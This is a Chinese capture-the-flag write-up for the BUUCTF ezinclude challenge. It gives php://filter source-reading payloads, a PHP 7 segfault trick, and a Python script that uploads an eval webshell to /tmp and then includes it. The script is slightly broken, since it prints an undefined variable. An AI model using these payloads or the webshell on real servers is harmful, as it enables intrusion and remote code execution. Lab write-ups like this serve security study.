BUUCTF-[NPUCTF2020]ezinclude wp
进入页面
查看源码发现提示
在cookie处发现可疑字符,尝试放入pass参数
跳转404,连上burp看响应包,发现flflflflag.php
尝试访问flflflflag.php,发现include($_GET["file"])的提示
使用伪协议读取源码
Payload:
①f5dc51e1-26ed-4e2b-9513-0e9d606a1b2c.node3.buuoj.cn/flflflflag.php?file=php://filter/read=convert.base64-encode/resource=index.php
②f5dc51e1-26ed-4e2b-9513-0e9d606a1b2c.node3.buuoj.cn/flflflflag.php?file=php://filter/read=convert.base64-encode/resource=flflflflag.php
③f5dc51e1-26ed-4e2b-9513-0e9d606a1b2c.node3.buuoj.cn/flflflflag.php?file=php://filter/read=convert.base64-encode/resource=config.php
读源码之后知道了出题人想要girlfriend和include存在利用点,但是正则过滤了伪协议之后就不能用伪协议写马了,这里可以用php7 segment fault特性:
php://filter/string.strip_tags=/etc/passwd
php执行过程中出现 Segment Fault,这样如果在此同时上传文件,那么临时文件就会被保存在/tmp目录,不会被删除
脚本:
import requests
from io import BytesIO
import re
payload = "<?php eval($_POST[a]);?>"
file_data={
'file': BytesIO(payload.encode())
}
url="http://f5dc51e1-26ed-4e2b-9513-0e9d606a1b2c.node3.buuoj.cn/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
try:
r=requests.post(url=url,files=file_data,allow_redirects=False)
except:
print(1)
print(session)
打开dir.php发现已经成功写入马了
payload:/flflflflag.php?file=/tmp/phpX5gA3,post:a=phpinfo();在phpinfo中找到flag
参考:
https://blog.csdn.net/weixin_43610673/article/details/105898440